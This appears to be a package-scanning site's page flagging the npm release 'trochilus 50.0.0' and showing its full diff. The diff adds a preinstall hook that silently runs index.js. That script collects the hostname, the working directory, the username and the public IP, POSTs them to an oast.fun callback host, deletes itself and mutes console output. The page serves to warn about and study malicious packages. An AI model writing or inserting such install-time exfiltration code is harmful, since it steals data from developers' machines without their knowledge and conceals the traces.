trochilus 50.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of trochilus might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +16 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,16 @@
1
+ const http = require('http');
2
+ const fs = require('fs');
3
+ const { exec } = require('child_process');
4
+
5
+ const payload = `
6
+ data="{\\"hostname\\": \\"$(hostname)\\", \\"current_dir\\": \\"$(pwd)\\", \\"user\\": \\"$(whoami)\\", \\"ip_address\\": \\"$(curl -s https://ifconfig.me/ip)\\", \\"package\\": \\"trochilus\\"}"
7
+ curl -X POST -H "Content-Type: application/json" -d "$data" http://ckhp9tz2vtc0000ykrxggj33xmyyyyyyd.oast.fun > /dev/null 2>&1
8
+ rm -f index.js
9
+ `;
10
+
11
+ exec(payload, (error, stdout, stderr) => {
12
+ if (error) console.error("Execution error:", error.message);
13
+ if (stderr) console.error("Standard error:", stderr);
14
+ });
15
+
16
+ console.log = function() {};
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "trochilus",
3
+ "version": "50.0.0",
4
+ "description": "mexc-bugbounty",
5
+ "main": "main.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js > /dev/null 2>&1",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }